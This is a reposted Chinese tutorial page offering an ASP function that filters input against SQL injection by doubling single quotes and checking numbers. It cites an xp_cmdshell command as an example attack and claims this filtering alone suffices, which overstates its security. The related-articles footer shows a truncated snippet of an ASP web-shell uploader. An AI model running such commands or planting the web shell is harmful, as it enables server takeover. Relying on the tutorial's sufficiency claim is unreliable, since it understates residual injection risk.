一个asp函数解决SQL Injection漏洞

2016-02-19 18:22 6 1 收藏

清醒时做事，糊涂时读书，大怒时睡觉，无聊时关注图老师为大家准备的精彩内容。下面为大家推荐一个asp函数解决SQL Injection漏洞，无聊中的都看过来。

【 tulaoshi.com - Web开发】

　　/**
　　作者：慈勤强
　　Email： cqq1978@Gmail.com
　　*/

　　函数很简单，主要是针对字符串和数字两种类型的传入数据分别进行了处理，具体用法：

　　字符类型的
　　strUsername = CheckInput(Request(“username“),“s“)
　　数字类型的
　　ID = CheckInput(Request(“id“),“i“)

　　下面是函数

　　Function CheckInput(str,strType)
　　   '函数功能：过滤字符参数中的单引号，对于数字参数进行判断，如果不是数值类型，则赋值0
　　   '参数意义： str        ---- 要过滤的参数
　　   '                 strType ---- 参数类型，分为字符型和数字型，字符型为"s"，数字型为"i"
　　 Dim strTmp
　　 strTmp     = ""
　　 If strType ="s" Then
　　 strTmp = Replace(Trim(str),"'","''")
　　 ElseIf strType="i" Then
　　 If isNumeric(str)=False Then str="0"
　　 strTmp = str
　　 Else
　　 strTmp = str
　　 End If
　　 CheckInput = strTmp
　　End Function

　　
　　SQL Injection的危害是很大的，比如对于SQL Server，可以创建、删除数据库，执行系统命令等等，如drop table tbl_name, execute master.dbo.xp_cmdshell "command"所以很多人写的函数就是拼命的去过滤这些可能引起危害的关键词，比如drop ,分号,and,exe,mid等等，罗列了一大堆。

　　其实，尽可以不必那么繁琐，非要把简单的事情复杂化。
　　对于过滤，ASP中只要针对字符型和数字型分别处理就可以了，

　　字符型的，把单引号转换成两个单引号 strTmp = Replace(Trim(str),"'","''")
　　数字型的，就判断是否能够转换成数字型的，用 isNumeric函数

　　现在网上说的能够绕过单引号的攻击，其实是针对数字类型的,如果对于过滤了单引号的字符型，还有办法绕过，那就没得玩了........

来源:http://www.tulaoshi.com/n/20160219/1617461.html

上一篇： delphi来写你的第一个dll文件非常简单
下一篇： win 8系统怎么外接投影仪的方法

看过《一个asp函数解决SQL Injection漏洞》的人还看了以下文章更多>>

一个ASP小马

标签： Web开发

%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h....

一个高ai的分页函数和一个url函数

标签： PHP

这个分页函数非常高只能的看看就知道了 function ppage($total, $page, $e_page = 15, $e_block = 10, $url = '', $color = '') { if(!strpos($url,'?')) $url.='?'; else $url.='&'; if($color<'') { $color ='<font color='.$color.''...

完美解决一个事件激活多个函数(2)

可是在一个页面中，我们可能会遇到有多个事件要激活多个函数，每个事件都要写一遍那样的代码，显然不是好主意。聪明的读者可能已经想到，应该写成一个函数activeMore()，哪个事件要激活多个函数的，直接就用activeMore()就行。但是在上一部分中我们把事件的toString()当作JavaScript脚步本运行，实际上是运行一段函数代码，...

asp下正则实现URL自动链接的一个函数

标签： Web开发

代码如下： Function AutoLinkURLs(strString) Dim match, matches, offset, url, email, link, relnkAutoLinkURL relnkAutoLinkURL = "a href=""[[%URL%]]""[[%URLText%]]/a" If Not IsObject(regExp) Then Set regExp = New RegExp regExp.Global = True regExp.IgnoreCase = True 'Look for URLs regExp.Pattern = "...

一个目录遍历函数

标签： Web开发

一个目录遍历函数?php function dirtree($path="./test") { echo "dl"; $d = dir($path); while(false !== ($v = $d-read())) { if($v == "." $v == "..") continue; $file = $d-path."/".$v; echo "dt$v"; if(i...

查看更多精彩>>